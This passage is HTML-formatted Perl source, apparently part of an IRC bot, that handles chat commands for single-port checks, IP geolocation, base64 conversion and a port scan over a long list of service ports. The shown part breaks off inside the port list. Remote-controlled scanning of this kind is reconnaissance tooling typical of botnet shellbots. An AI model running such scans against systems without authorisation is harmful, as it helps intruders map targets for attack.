style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;417:                            &amp;amp;msg(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$path&lt;/span&gt;&amp;quot;, &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;15(4@9DNS15) 13$nsku 9Resolve Ke 4 $mydns&lt;/span&gt;&amp;quot;);   &lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;418:                           }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;419: &lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;420:         &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; ($msg=~ /^!port\s+(.*?)\s+(.*)/ ) {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;421:           &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $hostip= &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$1&lt;/span&gt;&amp;quot;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;422:           &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $portsc= &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$2&lt;/span&gt;&amp;quot;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;423:           &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $scansock = IO::Socket::INET-&amp;gt;new(PeerAddr =&amp;gt; $hostip, PeerPort =&amp;gt; $portsc, Proto =&amp;gt;&#39;tcp&#39;, Timeout =&amp;gt; 7);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;424:           &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; ($scansock) {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;425:                     &amp;amp;msg(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$path&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;15(4@9PORT15)7 $hostip : $portsc 12Yes Cruutz&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;426:           }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;427:           &lt;span style=&quot;color: #0000ff&quot;&gt;else&lt;/span&gt; {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;428:                     &amp;amp;msg(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$path&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;15(4@9PORT15)7 $hostip : $portsc 4connection refused&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;429:           }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;430:         }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;431: &lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;432:         &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; ($msg=~ /^!ip\s+(.*)/ ) {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;433:           &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; (&lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $pid = &lt;span style=&quot;color: #0000ff&quot;&gt;fork&lt;/span&gt;) { &lt;span style=&quot;color: #0000ff&quot;&gt;waitpid&lt;/span&gt;($pid, 0); } &lt;span style=&quot;color: #0000ff&quot;&gt;else&lt;/span&gt; {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;434:             &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; (&lt;span style=&quot;color: #0000ff&quot;&gt;fork&lt;/span&gt;) { &lt;span style=&quot;color: #0000ff&quot;&gt;exit&lt;/span&gt;; } &lt;span style=&quot;color: #0000ff&quot;&gt;else&lt;/span&gt; {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;435:               &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $ip = $1;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;436:               &amp;amp;msg(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$path&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;15(4@9IP15)6 Searching &lt;/span&gt;&amp;quot;.$ip.&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt; 9Location ...&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;437:               &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $website = &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;http://www.ipligence.com/geolocation&lt;/span&gt;&amp;quot;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;438:               &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; ($useragent,$request,$response,%form);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;439:               &lt;span style=&quot;color: #0000ff&quot;&gt;undef&lt;/span&gt; %form;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;440:               $form{ip}  = $ip;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;441:               $useragent = LWP::UserAgent-&amp;gt;new;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;442:               $useragent-&amp;gt;timeout(5);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;443:               $request   = POST $website,\%form;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;444:               $response  = $useragent-&amp;gt;request($request);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;445:               &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; ($response-&amp;gt;is_success) {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;446:               &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $res = $response-&amp;gt;content;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;447:                 &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; ($res =~ m/Your IP address is(.*)&amp;lt;br&amp;gt;City:(.*)&amp;lt;br\/&amp;gt;Country:(.*)&amp;lt;br&amp;gt;Continent:(.*)&amp;lt;br&amp;gt;Time/g) {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;448:                 &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; ($ipaddress,$city,$country,$continent) = ($1,$2,$3,$4);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;449:                 &amp;amp;msg(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$path&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;15(4@9IP15)13 IP Address : &lt;/span&gt;&amp;quot;.$ip.&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt; 9 ( &lt;/span&gt;&amp;quot;.$ipaddress.&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt; )&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;450:                 &amp;amp;msg(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$path&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;15(4@9IP15)13 City       : &lt;/span&gt;&amp;quot;.$ip.&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt; 9 ( &lt;/span&gt;&amp;quot;.$city.&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt; )&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;451:                 &amp;amp;msg(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$path&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;15(4@9IP15)13 Country    : &lt;/span&gt;&amp;quot;.$ip.&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt; 9 ( &lt;/span&gt;&amp;quot;.$country.&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt; )&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;452:                 &amp;amp;msg(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$path&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;15(4@9IP15)13 Continent  : &lt;/span&gt;&amp;quot;.$ip.&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt; 9 ( &lt;/span&gt;&amp;quot;.$continent.&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt; )&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;453:                 }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;454:                 &lt;span style=&quot;color: #0000ff&quot;&gt;else&lt;/span&gt; { &lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;455:                 &amp;amp;msg(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$path&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;15(4@9IP15)13 &lt;/span&gt;&amp;quot;.$ip.&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt; 4not found in database&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;456:                 }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;457:               }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;458:               &lt;span style=&quot;color: #0000ff&quot;&gt;else&lt;/span&gt; {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;459:               &amp;amp;msg(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$path&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;15(4@9IP15)4 Cannot open IP database.&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;460:               }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;461:             }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;462:             &lt;span style=&quot;color: #0000ff&quot;&gt;exit&lt;/span&gt;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;463:           }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;464:         }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;465: &lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;466:         &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; ($msg=~ /^!base64 (.*)$/ ) {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;467:           &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; (&lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $pid = &lt;span style=&quot;color: #0000ff&quot;&gt;fork&lt;/span&gt;) { &lt;span style=&quot;color: #0000ff&quot;&gt;waitpid&lt;/span&gt;($pid, 0); } &lt;span style=&quot;color: #0000ff&quot;&gt;else&lt;/span&gt; {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;468:             &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; (&lt;span style=&quot;color: #0000ff&quot;&gt;fork&lt;/span&gt;) { &lt;span style=&quot;color: #0000ff&quot;&gt;exit&lt;/span&gt;; } &lt;span style=&quot;color: #0000ff&quot;&gt;else&lt;/span&gt; {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;469:             &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $hash      = $1;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;470:             &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $base64_encoded = encode_base64($hash);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;471:             &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $base64_decoded = decode_base64($hash);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;472:             &amp;amp;msg(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$path&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;15(4@9BASE6415)13 Decode : 9$base64_decoded&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;473:             &amp;amp;msg(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$path&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;15(4@9BASE6415)13 Encode : 9$base64_encoded&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;474:             }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;475:             &lt;span style=&quot;color: #0000ff&quot;&gt;exit&lt;/span&gt;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;476:           }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;477:         }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;478:  &lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;479:                                &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; ($msg =~ /^!portscan (.*)$/ ) {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;480:                                    &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $hostip=&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$1&lt;/span&gt;&amp;quot;; &lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;481:                                    &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; @portas=(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;15&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;19&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;98&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;20&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;21&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;22&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;23&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;25&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;37&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;39&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;42&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;43&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;49&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;53&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;63&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;69&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;79&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;80&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;101&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;106&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;107&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;109&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;110&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;111&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;113&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;115&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;117&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;119&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;135&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;137&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;139&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;143&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;174&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;194&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;389&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;389&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;427&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;443&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;444&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;445&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;464&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;488&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;512&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;513&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;514&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;520&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;540&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;546&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;548&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;565&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;609&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;631&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;636&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;694&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;749&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;750&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;767&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;774&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;783&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;808&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: 